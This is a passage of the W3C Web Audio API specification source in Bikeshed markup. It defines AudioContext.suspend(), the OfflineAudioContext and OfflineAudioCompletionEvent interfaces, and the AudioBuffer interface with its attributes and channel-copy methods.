</a> named `statechange` at the {{AudioContext}}.\n\t\t</div>\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;\n\t\t</div>\n\n\t: <dfn>suspend()</dfn>\n\t::\n\t\tSuspends the progression of {{AudioContext}}'s\n\t\t{{BaseAudioContext/currentTime}}, allows any\n\t\tcurrent context processing blocks that are already processed to\n\t\tbe played to the destination, and then allows the system to\n\t\trelease its claim on audio hardware. This is generally useful\n\t\twhen the application knows it will not need the\n\t\t{{AudioContext}} for some time, and wishes to temporarily\n\t\t<a>release system resource</a> associated with the\n\t\t{{AudioContext}}. The promise resolves when the frame buffer\n\t\tis empty (has been handed off to the hardware), or immediately\n\t\t(with no other effect) if the context is already\n\t\t<code>suspended</code>. The promise is rejected if the context\n\t\thas been closed.\n\n\t\t<div algorithm=\"AudioContext.suspend()\">\n\t\t\t<span class=\"synchronous\">When suspend is called, execute these steps:</span>\n\n\t\t\t1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] \"{{InvalidStateError}}\" {{DOMException}}.\n\n\t\t\t1. Let <var>promise</var> be a new Promise.\n\n\t\t\t2. If the {{[[control thread state]]}} on the\n\t\t\t\t{{AudioContext}} is <code>closed</code> reject the promise\n\t\t\t\twith {{InvalidStateError}}, abort these steps,\n\t\t\t\treturning <var>promise</var>.\n\n\t\t\t3. Append <var>promise</var> to {{BaseAudioContext/[[pending promises]]}}.\n\n\t\t\t4. Set {{[[suspended by user]]}} to <code>true</code>.\n\n\t\t\t5. Set the {{[[control thread state]]}} on the {{AudioContext}} to <code>suspended</code>.\n\n\t\t\t6. <a>Queue a control message</a> to suspend the {{AudioContext}}.\n\n\t\t\t7. Return <var>promise</var>.\n\t\t</div>\n\n\t\t<div algorithm=\"run a control message to suspend an AudioContext\">\n\t\t\tRunning a <a>control message</a> to suspend an\n\t\t\t{{AudioContext}} means running these steps on the\n\t\t\t<a>rendering thread</a>:\n\n\t\t\t1. Attempt to <a>release system resources</a>.\n\n\t\t\t2. Set the {{[[rendering thread state]]}} on the {{AudioContext}} to <code>suspended</code>.\n\n\t\t\t3. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t1. Resolve <em>promise</em>.\n\n\t\t\t\t2. If the {{BaseAudioContext/state}}\n\t\t\t\t\tattribute of the {{AudioContext}} is not already \"{{AudioContextState/suspended}}\":\n\n\t\t\t\t\t1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to \"{{AudioContextState/suspended}}\".\n\n\t\t\t\t\t1. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\t\tqueue a media element task</a> to <a spec=\"dom\" lt=\"fire an event\">fire\n\t\t\t\t\t\tan event </a> named `statechange` at the {{AudioContext}}.\n\t\t</div>\n\n\t\tWhile an {{AudioContext}} is suspended,\n\t\t{{MediaStream}}s will have their output ignored; that\n\t\tis, data will be lost by the real time nature of media streams.\n\t\t{{HTMLMediaElement}}s will similarly have their output\n\t\tignored until the system is resumed. {{AudioWorkletNode}}s\n\t\tand {{ScriptProcessorNode}}s will cease to have their\n\t\tprocessing handlers invoked while suspended, but will resume\n\t\twhen the context is resumed. For the purpose of\n\t\t{{AnalyserNode}} window functions, the data is considered as\n\t\ta continuous stream - i.e. the\n\t\t<code>resume()</code>/<code>suspend()</code> does not cause\n\t\tsilence to appear in the {{AnalyserNode}}'s stream of data.\n\t\tIn particular, calling {{AnalyserNode}} functions repeatedly\n\t\twhen a {{AudioContext}} is suspended MUST return the same\n\t\tdata.\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"audiocontextoptions\" id=\"AudioContextOptions\">\n{{AudioContextOptions}}</h4>\n\nThe {{AudioContextOptions}} dictionary is used to\nspecify user-specified options for an {{AudioContext}}.\n\n<pre class=\"idl\">\ndictionary AudioContextOptions {\n\t(AudioContextLatencyCategory or double) latencyHint = \"interactive\";\n\tfloat sampleRate;\n};\n</pre>\n\n<h5 id=\"dictionary-audiocontextoptions-members\">\nDictionary {{AudioContextOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"AudioContextOptions\">\n\t: <dfn>latencyHint</dfn>\n\t::\n\t\tIdentify the type of playback, which affects tradeoffs\n\t\tbetween audio output latency and power consumption.\n\n\t\tThe preferred value of the <code>latencyHint</code> is a\n\t\tvalue from {{AudioContextLatencyCategory}}. However, a\n\t\tdouble can also be specified for the number of seconds of\n\t\tlatency for finer control to balance latency and power\n\t\tconsumption. It is at the browser's discretion to interpret\n\t\tthe number appropriately. The actual latency used is given by\n\t\tAudioContext's {{AudioContext/baseLatency}} attribute.\n\n\t: <dfn>sampleRate</dfn>\n\t::\n\t\tSet the {{BaseAudioContext/sampleRate}} to this value\n\t\tfor the {{AudioContext}} that will be created. The\n\t\tsupported values are the same as the sample rates for an\n\t\t{{AudioBuffer}}. <span class=\"synchronous\">A\n\t\t{{NotSupportedError}} exception MUST be thrown if\n\t\tthe specified sample rate is not supported.</span>\n\n\t\tIf {{AudioContextOptions/sampleRate}} is not\n\t\tspecified, the preferred sample rate of the output device for\n\t\tthis {{AudioContext}} is used.\n</dl>\n\n<h4 dictionary lt=\"audiotimestamp\" id=\"AudioTimestamp\">\n{{AudioTimestamp}}</h4>\n\n<pre class=\"idl\">\ndictionary AudioTimestamp {\n\tdouble contextTime;\n\tDOMHighResTimeStamp performanceTime;\n};\n</pre>\n\n<h5 id=\"dictionary-audiotimestamp-members\">\nDictionary {{AudioTimestamp}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"AudioTimestamp\">\n\t: <dfn>contextTime</dfn>\n\t::\n\t\tRepresents a point in the time coordinate system of\n\t\tBaseAudioContext's {{BaseAudioContext/currentTime}}.\n\n\t: <dfn>performanceTime</dfn>\n\t::\n\t\tRepresents a point in the time coordinate system of a\n\t\t<code>Performance</code> interface implementation (described in\n\t\t[[!hr-time-3]]).\n</dl>\n\n<!--\n ███████  ████████ ████████ ██       ████ ██    ██ ████████          ███     ██████\n██     ██ ██       ██       ██        ██  ███   ██ ██               ██ ██   ██    ██\n██     ██ ██       ██       ██        ██  ████  ██ ██              ██   ██  ██\n██     ██ ██████   ██████   ██        ██  ██ ██ ██ ██████         ██     ██ ██\n██     ██ ██       ██       ██        ██  ██  ████ ██             █████████ ██\n██     ██ ██       ██       ██        ██  ██   ███ ██             ██     ██ ██    ██\n ███████  ██       ██       ████████ ████ ██    ██ ████████       ██     ██  ██████\n-->\n\n<h3 interface lt=\"offlineaudiocontext\" id=\"OfflineAudioContext\">\nThe {{OfflineAudioContext}} Interface</h3>\n\n{{OfflineAudioContext}} is a particular type of\n{{BaseAudioContext}} for rendering/mixing-down\n(potentially) faster than real-time. It does not render to the audio\nhardware, but instead renders as quickly as possible, fulfilling the\nreturned promise with the rendered result as an\n{{AudioBuffer}}.\n\n<xmp class=\"idl\">\n[Exposed=Window]\ninterface OfflineAudioContext : BaseAudioContext {\n\tconstructor(OfflineAudioContextOptions contextOptions);\n\tconstructor(unsigned long numberOfChannels, unsigned long length, float sampleRate);\n\tPromise<AudioBuffer> startRendering();\n\tPromise<undefined> resume();\n\tPromise<undefined> suspend(double suspendTime);\n\treadonly attribute unsigned long length;\n\tattribute EventHandler oncomplete;\n};\n</xmp>\n\n<h4 id=\"OfflineAudioContext-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"OfflineAudioContext\">\n\t: <dfn>OfflineAudioContext(contextOptions)</dfn>\n\t::\n\t\t<div algorithm=\"OfflineAudioContext.OfflineAudioContext(contextOptions)\">\n\n\t\t<p>\n\t\t\tIf the <a href=\n\t\t\t\"https://html.spec.whatwg.org/#concept-current-everything\">current\n\t\t\tsettings object</a>'s <a href=\n\t\t\t\"https://html.spec.whatwg.org/#responsible-document\">responsible\n\t\t\tdocument</a> is NOT <a href=\n\t\t\t\"https://html.spec.whatwg.org/multipage/browsers.html#fully-active\">\n\t\t\tfully active</a>, throw an <code>InvalidStateError</code> and\n\t\t\tabort these steps.\n\t\t</p>\n\t\t\tLet <var>c</var> be a new {{OfflineAudioContext}} object.\n\t\t\tInitialize <var>c</var> as follows:\n\n\t\t\t1. Set the {{[[control thread state]]}} for <var>c</var>\n\t\t\t\tto <code>\"suspended\"</code>.\n\n\t\t\t2. Set the {{[[rendering thread state]]}} for\n\t\t\t\t<var>c</var> to <code>\"suspended\"</code>.\n\n\t\t\t3. Construct an {{AudioDestinationNode}} with its\n\t\t\t\t{{AudioNode/channelCount}} set to\n\t\t\t\t<code>contextOptions.numberOfChannels</code>.\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"OfflineAudioContext/constructor(contextOptions)\">\n\t\tcontextOptions: The initial parameters needed to construct this context.\n\t\t</pre>\n\n\t: <dfn>OfflineAudioContext(numberOfChannels, length, sampleRate)</dfn>\n\t::\n\t\tThe {{OfflineAudioContext}} can be constructed with the same arguments\n\t\tas AudioContext.createBuffer. <span class=\"synchronous\">A\n\t\t{{NotSupportedError}} exception MUST be thrown if any\n\t\tof the arguments is negative, zero, or outside its nominal\n\t\trange.</span>\n\n\t\tThe OfflineAudioContext is constructed as if\n\n\t\t<pre highlight=\"js\">\n\t\t\tnew OfflineAudioContext({\n\t\t\t\t\tnumberOfChannels: numberOfChannels,\n\t\t\t\t\tlength: length,\n\t\t\t\t\tsampleRate: sampleRate\n\t\t\t})\n\t\t</pre>\n\n\t\twere called instead.\n\n\t\t<pre class=argumentdef for=\"OfflineAudioContext/constructor(numberOfChannels, length, sampleRate)\">\n\t\tnumberOfChannels: Determines how many channels the buffer will have. See {{BaseAudioContext/createBuffer()}} for the supported number of channels.\n\t\tlength: Determines the size of the buffer in sample-frames.\n\t\tsampleRate: Describes the sample-rate of the [=linear PCM=] audio data in the buffer in sample-frames per second. See {{BaseAudioContext/createBuffer()}} for valid sample rates.\n\t\t</pre>\n</dl>\n\n<h4 id=\"OfflineAudioContext-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"OfflineAudioContext\">\n\t: <dfn>length</dfn>\n\t::\n\t\tThe size of the buffer in sample-frames. This is the same as the\n\t\tvalue of the <code>length</code> parameter for the constructor.\n\n\t: <dfn>oncomplete</dfn>\n\t::\n\t\tAn EventHandler of type <a href=\"#OfflineAudioCompletionEvent\">OfflineAudioCompletionEvent</a>.\n\t\tIt is the last event fired on an {{OfflineAudioContext}}.\n</dl>\n\n<h4 id=\"OfflineAudioContext-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"OfflineAudioContext\">\n\t: <dfn>startRendering()</dfn>\n\t::\n\t\tGiven the current connections and scheduled changes, starts\n\t\trendering audio.\n\n\t\tAlthough the primary method of getting the rendered audio data\n\t\tis via its promise return value, the instance will also fire an\n\t\tevent named <code>complete</code> for legacy reasons.\n\n\t\t<div algorithm=\"OfflineAudioContext.startRendering()\">\n\t\t\tLet <dfn attribute for=\"OfflineAudioContext\">[[rendering started]]</dfn> be an internal slot of this {{OfflineAudioContext}}.  Initialize this slot to <em>false</em>.\n\n\t\t\t<span class=\"synchronous\">When <code>startRendering</code> is\n\t\t\tcalled, the following steps MUST be performed on the <a>control\n\t\t\tthread</a>:</span>\n\n\t\t\t<ol>\n\t\t\t\t<li>If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] \"{{InvalidStateError}}\" {{DOMException}}.\n\n\t\t\t\t<li>If the {{[[rendering started]]}} slot on the\n\t\t\t\t{{OfflineAudioContext}} is <em>true</em>, return a rejected\n\t\t\t\tpromise with {{InvalidStateError}}, and abort these\n\t\t\t\tsteps.\n\n\t\t\t\t<li>Set the {{[[rendering started]]}} slot of the\n\t\t\t\t{{OfflineAudioContext}} to <em>true</em>.\n\n\t\t\t\t<li>Let <var>promise</var> be a new promise.\n\n\t\t\t\t<li>Create a new {{AudioBuffer}}, with a number of\n\t\t\t\tchannels, length and sample rate equal respectively to the\n\t\t\t\t<code>numberOfChannels</code>, <code>length</code> and\n\t\t\t\t<code>sampleRate</code> values passed to this instance's\n\t\t\t\tconstructor in the <code>contextOptions</code> parameter.\n\t\t\t\tAssign this buffer to an internal slot\n\t\t\t\t<dfn attribute for=\"OfflineAudioContext\">[[rendered buffer]]</dfn> in the {{OfflineAudioContext}}.\n\n\t\t\t\t<li>If an exception was thrown during the preceding\n\t\t\t\t{{AudioBuffer}} constructor call, reject\n\t\t\t\t<var>promise</var> with this exception.\n\n\t\t\t\t<li>Otherwise, in the case that the buffer was successfully\n\t\t\t\tconstructed, <a>begin offline rendering</a>.\n\n\t\t\t\t<li>Append <var>promise</var> to {{BaseAudioContext/[[pending promises]]}}.\n\n\t\t\t\t<li>Return <var>promise</var>.\n\t\t\t</ol>\n\t\t</div>\n\n\t\t<div algorithm=\"begin offline rendering\">\n\t\t\tTo <dfn dfn for>begin offline rendering</dfn>, the following steps MUST\n\t\t\thappen on a <a>rendering thread</a> that is created for the\n\t\t\toccasion.\n\n\t\t\t<ol>\n\t\t\t\t<li>Given the current connections and scheduled changes, start\n\t\t\t\trendering <code>length</code> sample-frames of audio into\n\t\t\t\t{{[[rendered buffer]]}}\n\n\t\t\t\t<li>For every <a>render quantum</a>, check and\n\t\t\t\t{{OfflineAudioContext/suspend()|suspend}}\n\t\t\t\trendering if necessary.\n\n\t\t\t\t<li>If a suspended context is resumed, continue to render the\n\t\t\t\tbuffer.\n\n\t\t\t\t<li>Once the rendering is complete,\n\t\t\t\t\t<a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t\t<ol>\n\t\t\t\t\t\t<li>Resolve the <var ignore>promise</var> created by {{startRendering()}} with {{[[rendered buffer]]}}.\n\n\t\t\t\t\t\t<li><a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\t\t\tqueue a media element task</a> to\n\t\t\t\t\t\t\t<a spec=\"dom\" lt=\"fire an event\">fire an event</a> named\n\t\t\t\t\t\t\t`complete` using an instance of {{OfflineAudioCompletionEvent}}\n\t\t\t\t\t\t\twhose `renderedBuffer` property is set to\n\t\t\t\t\t\t\t{{[[rendered buffer]]}}.\n\n\t\t\t\t\t</ol>\n\n\t\t\t</ol>\n\t\t</div>\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Promise}}&lt;{{AudioBuffer}}&gt;\n\t\t</div>\n\n\t: <dfn>resume()</dfn>\n\t::\n\t\tResumes the progression of the {{OfflineAudioContext}}'s\n\t\t{{BaseAudioContext/currentTime}} when it has\n\t\tbeen suspended.\n\n\t\t<div algorithm=\"OfflineAudioContext::resume()\">\n\t\t\t<span class=\"synchronous\">When resume is called,\n\t\t\texecute these steps:</span>\n\n\t\t\t1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is\n\t\t\t\tnot [=fully active=] then return [=a promise rejected with=]\n\t\t\t\t\"{{InvalidStateError}}\" {{DOMException}}.\n\n\t\t\t1. Let <var>promise</var> be a new Promise.\n\n\t\t\t1. Abort these steps and reject <var>promise</var> with\n\t\t\t\t{{InvalidStateError}} when any of following conditions is true:\n\t\t\t\t- The {{[[control thread state]]}} on the {{OfflineAudioContext}}\n\t\t\t\t\tis <code>closed</code>.\n\t\t\t\t- The {{[[rendering started]]}} slot on the {{OfflineAudioContext}}\n\t\t\t\t\tis <em>false</em>.\n\n\t\t\t1. Set the {{[[control thread state]]}} flag on the\n\t\t\t\t{{OfflineAudioContext}} to <code>running</code>.\n\n\t\t\t1. <a>Queue a control message</a> to resume the {{OfflineAudioContext}}.\n\n\t\t\t1. Return <var>promise</var>.\n\t\t</div>\n\n\t\t<div algorithm=\"run a control message in OfflineAudioContext\">\n\t\t\tRunning a <a>control message</a> to resume an\n\t\t\t{{OfflineAudioContext}} means running these steps on the\n\t\t\t<a>rendering thread</a>:\n\n\t\t\t1. Set the {{[[rendering thread state]]}} on the {{OfflineAudioContext}} to <code>running</code>.\n\n\t\t\t2. Start <a href=\"#rendering-loop\">rendering the audio graph</a>.\n\n\t\t\t3. In case of failure,\n\t\t\t\t<a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to reject |promise| and abort the remaining steps.\n\n\t\t\t4. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t1. Resolve <var>promise</var>.\n\n\t\t\t\t2. If the {{BaseAudioContext/state}} attribute of the\n\t\t\t\t\t{{OfflineAudioContext}} is not already \"{{AudioContextState/running}}\":\n\n\t\t\t\t\t1. Set the {{BaseAudioContext/state}} attribute of the\n\t\t\t\t\t\t{{OfflineAudioContext}} to \"{{AudioContextState/running}}\".\n\n\t\t\t\t\t1. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\t\tqueue a media element task</a> to <a spec=\"dom\" lt=\"fire an event\">fire\n\t\t\t\t\t\tan event</a> named `statechange` at the {{OfflineAudioContext}}.\n\n\t\t</div>\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;\n\t\t</div>\n\n\t: <dfn>suspend(suspendTime)</dfn>\n\t::\n\t\tSchedules a suspension of the time progression in the audio\n\t\tcontext at the specified time and returns a promise. This is\n\t\tgenerally useful when manipulating the audio graph\n\t\tsynchronously on {{OfflineAudioContext}}.\n\n\t\tNote that the maximum precision of suspension is the size of\n\t\tthe <a>render quantum</a> and the specified suspension time\n\t\twill be rounded up to the nearest <a>render quantum</a>\n\t\tboundary. For this reason, it is not allowed to schedule\n\t\tmultiple suspends at the same quantized frame. Also, scheduling\n\t\tshould be done while the context is not running to ensure\n\t\tprecise suspension.\n\n\t\t<pre class=argumentdef for=\"OfflineAudioContext/suspend()\">\n\t\tsuspendTime: Schedules a suspension of the rendering at the specified time, which is quantized and rounded up to the <a>render quantum</a> size. If the quantized frame number <ol> <li>is negative or <li>is less than or equal to the current time or <li>is greater than or equal to the total render duration or <li>is scheduled by another suspend for the same time, </ol>then the promise is rejected with {{InvalidStateError}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"offlineaudiocontextoptions\" id=\"OfflineAudioContextOptions\">\n{{OfflineAudioContextOptions}}</h4>\n\nThis specifies the options to use in constructing an\n{{OfflineAudioContext}}.\n\n<pre class=\"idl\">\ndictionary OfflineAudioContextOptions {\n\tunsigned long numberOfChannels = 1;\n\trequired unsigned long length;\n\trequired float sampleRate;\n};\n</pre>\n\n<h5 id=\"dictionary-offlineaudiocontextoptions-members\">\nDictionary {{OfflineAudioContextOptions}} Members</h5>\n\n<dl dfn-type=\"dict-member\" dfn-for=\"OfflineAudioContextOptions\">\n\t: <dfn>length</dfn>\n\t::\n\t\tThe length of the rendered {{AudioBuffer}} in sample-frames.\n\n\t: <dfn>numberOfChannels</dfn>\n\t::\n\t\tThe number of channels for this {{OfflineAudioContext}}.\n\n\t: <dfn>sampleRate</dfn>\n\t::\n\t\tThe sample rate for this {{OfflineAudioContext}}.\n</dl>\n\n<h4 interface lt=\"offlineaudiocompletionevent\" id=\"OfflineAudioCompletionEvent\">\nThe {{OfflineAudioCompletionEvent}} Interface</h4>\n\nThis is an {{Event}} object which is dispatched to\n{{OfflineAudioContext}} for legacy reasons.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface OfflineAudioCompletionEvent : Event {\n\tconstructor (DOMString type, OfflineAudioCompletionEventInit eventInitDict);\n\treadonly attribute AudioBuffer renderedBuffer;\n};\n</pre>\n\n<h5 id=\"OfflineAudioCompletionEvent-attributes\">\nAttributes</h5>\n\n<dl dfn-type=attribute dfn-for=\"OfflineAudioCompletionEvent\">\n\t: <dfn>renderedBuffer</dfn>\n\t::\n\t\tAn {{AudioBuffer}} containing the rendered audio data.\n</dl>\n\n<h5 dictionary lt=\"offlineaudiocompletioneventinit\" id=\"OfflineAudioCompletionEventInit\">\n{{OfflineAudioCompletionEventInit}}</h5>\n\n<pre class=\"idl\">\ndictionary OfflineAudioCompletionEventInit : EventInit {\n\trequired AudioBuffer renderedBuffer;\n};\n</pre>\n\n<h6 id=\"dictionary-offlineaudiocompletioneventinit-members\">\nDictionary {{OfflineAudioCompletionEventInit}} Members</h6>\n\n<dl dfn-type=dict-member dfn-for=\"OfflineAudioCompletionEventInit\">\n\t: <dfn>renderedBuffer</dfn>\n\t::\n\t\tValue to be assigned to the {{OfflineAudioCompletionEvent/renderedBuffer}} attribute of the event.\n</dl>\n\n<!--\n   ███    ██     ██ ████████  ████  ███████  ████████  ██     ██ ████████ ████████ ████████ ████████\n  ██ ██   ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██     ██\n ██   ██  ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██     ██\n██     ██ ██     ██ ██     ██  ██  ██     ██ ████████  ██     ██ ██████   ██████   ██████   ████████\n█████████ ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██   ██\n██     ██ ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██    ██\n██     ██  ███████  ████████  ████  ███████  ████████   ███████  ██       ██       ████████ ██     ██\n-->\n\n<h3 interface lt=\"audiobuffer\" id=\"AudioBuffer\">\nThe {{AudioBuffer}} Interface</h3>\n\nThis interface represents a memory-resident audio asset. It can contain one or\nmore channels with each channel appearing to be 32-bit floating-point\n[=linear PCM=] values with a nominal range of \\([-1,1]\\) but the\nvalues are not limited to this range. Typically, it would be expected\nthat the length of the\nPCM data would be fairly short (usually somewhat less than a minute).\nFor longer sounds, such as music soundtracks, streaming should be\nused with the <{audio}> element and\n{{MediaElementAudioSourceNode}}.\n\nAn {{AudioBuffer}} may be used by one or more\n{{AudioContext}}s, and can be shared between an\n{{OfflineAudioContext}} and an\n{{AudioContext}}.\n\n{{AudioBuffer}} has four internal slots:\n\n<dl dfn-type=attribute dfn-for=\"AudioBuffer\">\n\t: <dfn>[[number of channels]]</dfn>\n\t::\n\t\tThe number of audio channels for this {{AudioBuffer}}, which is an unsigned long.\n\n\t: <dfn>\\[[length]]</dfn>\n\t::\n\t\tThe length of each channel of this {{AudioBuffer}}, which is an unsigned long.\n\n\t: <dfn>[[sample rate]]</dfn>\n\t::\n\t\tThe sample-rate, in Hz, of this {{AudioBuffer}}, a float.\n\n\t: <dfn>[[internal data]]</dfn>\n\t::\n\t\tA [=data block=] holding the audio sample data.\n</dl>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioBuffer {\n\tconstructor (AudioBufferOptions options);\n\treadonly attribute float sampleRate;\n\treadonly attribute unsigned long length;\n\treadonly attribute double duration;\n\treadonly attribute unsigned long numberOfChannels;\n\tFloat32Array getChannelData (unsigned long channel);\n\tundefined copyFromChannel (Float32Array destination,\n\t                           unsigned long channelNumber,\n\t                           optional unsigned long bufferOffset = 0);\n\tundefined copyToChannel (Float32Array source,\n\t                         unsigned long channelNumber,\n\t                         optional unsigned long bufferOffset = 0);\n};\n</pre>\n\n<h4 id=\"AudioBuffer-constructors\">\nConstructors</h4>\n\n<dl dfn-type=\"constructor\" dfn-for=\"AudioBuffer\">\n\t: <dfn>AudioBuffer(options)</dfn>\n\t::\n\t\t<div algorithm=\"new AudioBuffer()\">\n\t\t\t1. <span class=\"synchronous\">If any of the values in {{AudioBuffer/constructor()/options!!argument}} lie outside its nominal range, throw a {{NotSupportedError}} exception and abort the following steps.</span>\n\n\t\t\t1. Let <var>b</var> be a new {{AudioBuffer}} object.\n\t\t\t1. Respectively assign the values of the attributes\n\t\t\t\t{{AudioBufferOptions/numberOfChannels}}, {{AudioBufferOptions/length}},\n\t\t\t\t{{AudioBufferOptions/sampleRate}} of the {{AudioBufferOptions}} passed\n\t\t\t\tin the constructor to the internal slots {{[[number of channels]]}}, {{[[length]]}}, {{[[sample rate]]}}.\n\n\t\t\t1. Set the internal slot {{[[internal data]]}} of this\n\t\t\t\t{{AudioBuffer}} to the result of calling <a href=\"https://tc39.github.io/ecma262/#sec-createbytedatablock\"><code>\n\t\t\t\tCreateByteDataBlock</a>({{[[length]]}} * {{[[number of channels]]}})</code>.\n\n\t\t\t\tNote: This initializes the underlying storage to zero.\n\n\t\t\t1. Return <var>b</var>.\n\t\t</div>\n\t\t<pre class=argumentdef for=\"AudioBuffer/constructor()\">\n\t\toptions: An {{AudioBufferOptions}} that determine the properties for this {{AudioBuffer}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"AudioBuffer-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioBuffer\">\n\t: <dfn>duration</dfn>\n\t::\n\t\tDuration of the PCM audio data in seconds.\n\n\t\tThis is computed from the {{[[sample rate]]}} and the\n\t\t{{[[length]]}} of the {{AudioBuffer}} by performing\n\t\ta division between the {{AudioBuffer/[[length]]}} and the\n\t\t{{[[sample rate]]}}.\n\n\t: <dfn>length</dfn>\n\t::\n\t\tLength of the PCM audio data in sample-frames. This MUST return\n\t\tthe value of {{AudioBuffer/[[length]]}}.\n\n\t: <dfn>numberOfChannels</dfn>\n\t::\n\t\tThe number of discrete audio channels. This MUST return the value\n\t\tof {{[[number of channels]]}}.\n\n\t: <dfn>sampleRate</dfn>\n\t::\n\t\tThe sample-rate for the PCM audio data in samples per second.\n\t\tThis MUST return the value of {{[[sample rate]]}}.\n</dl>\n\n<h4 id=\"AudioBuffer-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AudioBuffer\">\n\t: <dfn>copyFromChannel(destination, channelNumber, bufferOffset)</dfn>\n\t::\n\t\tThe {{AudioBuffer/copyFromChannel()}} method copies the samples from\n\t\tthe specified channel of the {{AudioBuffer}} to the\n\t\t<code>destination</code> array.\n\n\t\tLet <code>buffer</code> be the {{AudioBuffer}} with\n\t\t\\(N_b\\) frames, let \\(N_f\\) be the number of elements in the\n\t\t{{AudioBuffer/copyFromChannel()/destination}} array, and \\(k\\) be the value of\n\t\t{{AudioBuffer/copyFromChannel()/bufferOffset}}. Then the number of frames copied\n\t\tfrom <code>buffer</code> to {{AudioBuffer/copyFromChannel()/destination}} is\n\t\t\\(\\max(0, \\min(N_b - k, N_f))\\). If this is less than \\(N_f\\), then the\n\t\tremaining elements of {{AudioBuffer/copyFromChannel()/destination}} are not\n\t\tmodified.\n\n\t\t<pre class=argumentdef for=\"AudioBuffer/copyFromChannel()\">\n\t\tdestination: The array the channel data will be copied to.\n\t\tchannelNumber: The index of the channel to copy the data from. If <code>channelNumber</code> is greater or equal than the number of channels of the {{AudioBuffer}}, <span class=\"synchronous\">an {{IndexSizeError}} MUST be thrown</span>.\n\t\tbufferOffset: An optional offset, defaulting to 0.  Data from the {{AudioBuffer}} starting at this offset is copied to the {{AudioBuffer/copyFromChannel()/destination}}.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>copyToChannel(source, channelNumber, bufferOffset)</dfn>\n\t::\n\t\tThe {{AudioBuffer/copyToChannel()}} method copies the samples to\n\t\tthe specified channel of the {{AudioBuffer}} from the\n\t\t<code>source</code> array.\n\n\t\tA {{UnknownError}} may be thrown if\n\t\t{{AudioBuffer/copyToChannel()/source}} cannot be\n\t\tcopied to the buffer.\n\n\t\tLet <code>buffer</code> be the {{AudioBuffer}} with\n\t\t\\(N_b\\) frames, let \\(N_f\\) be the number of elements in the\n\t\t{{AudioBuffer/copyToChannel()/source}} array, and \\(k\\) be the value of\n\t\t{{AudioBuffer/copyToChannel()/bufferOffset}}. Then the number of frames copied\n\t\tfrom {{AudioBuffer/copyToChannel()/source}} to the <code>buffer</code> is\n\t\t\\(\\max(0, \\min(N_b - k, N_f))\\). If this is less than \\(N_f\\), then the\n\t\tremaining elements of <code>buffer</code> are not\n\t\tmodified.\n\n\t\t<pre class=argumentdef for=\"AudioBuffer/copyToChannel()\">\n\t\tsource: The array the channel data will be copied from.\n\t\tchannelNumber: The index of the channel to copy the data to. If <code>channelNumber</code> is greater or equal than the number of channels of the {{AudioBuffer}}, <span class=\"synchronous\">an {{IndexSizeError}} MUST be thrown</span>.\n\t\tbufferOffset: An optional offset, defaulting to 0.  Data from the {{AudioBuffer/copyToChannel()/source}} is copied to the {{AudioBuffer}} starting at this offset.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>getChannelData(channel)</dfn>\n\t::\n\t\t<div class=\"correction proposed\" id=\"c2361-3\">\n\t\t  <span class=\"marker\">Proposed Correction\n\t\t  <a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-3.\n\t\t  </span>\n\t\t  Use new Web IDL buffer primitives\n\t\t  <div class=\"amendment-buttons\">\n\t\t    Buttons here\n\t\t  </div>\n\t\tAccording to the rules described in <a href=\"#acquire-the-content\">acquire the content</a>\n\t\teither <del>get a reference 